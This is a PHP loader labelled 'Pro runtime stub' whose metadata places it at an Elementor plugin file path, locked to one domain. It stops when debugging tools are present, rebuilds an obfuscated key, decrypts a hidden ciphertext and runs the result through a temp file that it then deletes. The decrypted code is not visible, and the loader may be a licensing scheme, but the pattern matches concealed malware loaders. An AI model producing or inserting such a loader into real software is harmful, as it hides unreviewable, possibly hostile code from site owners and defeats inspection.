<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["+\/LtIsexSTo=","vzoIEO+p7vg=","QfdMIIww6Xk=","GPA1+2xqFwU="]', true);
$__MASKS = json_decode('["28c8moBmaQI=","oXstlNPTFTc=","6dgYb8Fl54A=","6Fpv3pb+vSw="]', true);
$__ROT   = json_decode('[5,4,2,3]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('Cs/nAu3znoeEJDK/r7sg55yapLOsLVYn');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9jb3JlL3V0aWxzL2ltcG9ydC1leHBvcnQvcGFyc2Vycy93eHItcGFyc2VyLnBocCIsInRzIjoxNzU2NjkzNzE0LCJleHBpcmVzIjowLCJkb21haW5zIjpbIml0c2hvbWFyLmlyIl0sIm9ubGluZSI6MCwid3AiOjEsImFsZ28iOiJ4Y2hhY2hhMjBwb2x5MTMwNV9pZXRmIn0=');
$__CT    = base64_decode('VhkMRw/whRWvq13NkRmX7NtMNLJmASQA5A2B3ELbc1RX+weWIOJv/pLNLf4G1yQ7xcLBLOZHbTkVMK72XS7X42+4ayb6FuLWvgUFPt+wf7LTlaUdfK/zGanLB9D7sV0NDfY65pWYvaPS229MH+Gq7YbBqQYVWI7j/N7Ea15VPYcXjOvs/SMNbnCTLnTOW8FJnUKTAw3Kk7Xe5x8+TknT8RhreEW3tMPsfJXIHLxlNglMqWPmChRdaLb5BVYGLxC7MmjPddKroNNXITDNHDVkR7EuH98PxkZDsOzExyYqe4xDweNplpRX6j8+Jck4aPJ7kXWMOmIXDve/AzhePVlkgR0rQbNxOAk4MC5ALiLBjrhWYxEF5NUS+DJZmEym/3IcRMWmyOL93GOupy/puklpo2Nad9ve7UxlasiE058+E+RQrgBVlcluj+AcrsDbqauKzVUsQpS0xgbcFi6dRr06cWl3t1R8aas+33snFWg//SgG/vFQvwW269v0lfN3hfTZgMsx/NxlC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c0vt6xTdKke5sHpJmN5vTkoNVy5GZ+N7ylS4HVjaCAA31KKPWii8dVMXaNhrGET1OKmbACLmesQydbToA5Pffknn5pJjCFJhHcRWmWpyPJdoWXCaLJdN+3z2dRKZKKTqCS6rZkWqRaZZNeetJlyZIyjFOCnIjHHGuw6C+0iNtyF8s3FSNPK7C67I4+0ibId3Egz4Q7sXIw4s5szQqRBmWDGqaRKPTQ3v89T1dLXwr8rYkllAqW9tyS15N7FnmCi6+hS8');

// Signature verification
$__PK  = base64_decode('13KabDHnO8VA1oFo8ByhNm/jhs7sNyqSovQTjMeOFT0=');
$__SIG = base64_decode('vTZafSIyED1l9UJclGNJOqrcCDY4LWWmHz3V7RFGHIqjUN6Cx67VmaXUdp2Sq7wbFaguLt8vYbbuu2YMpPWDCw==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
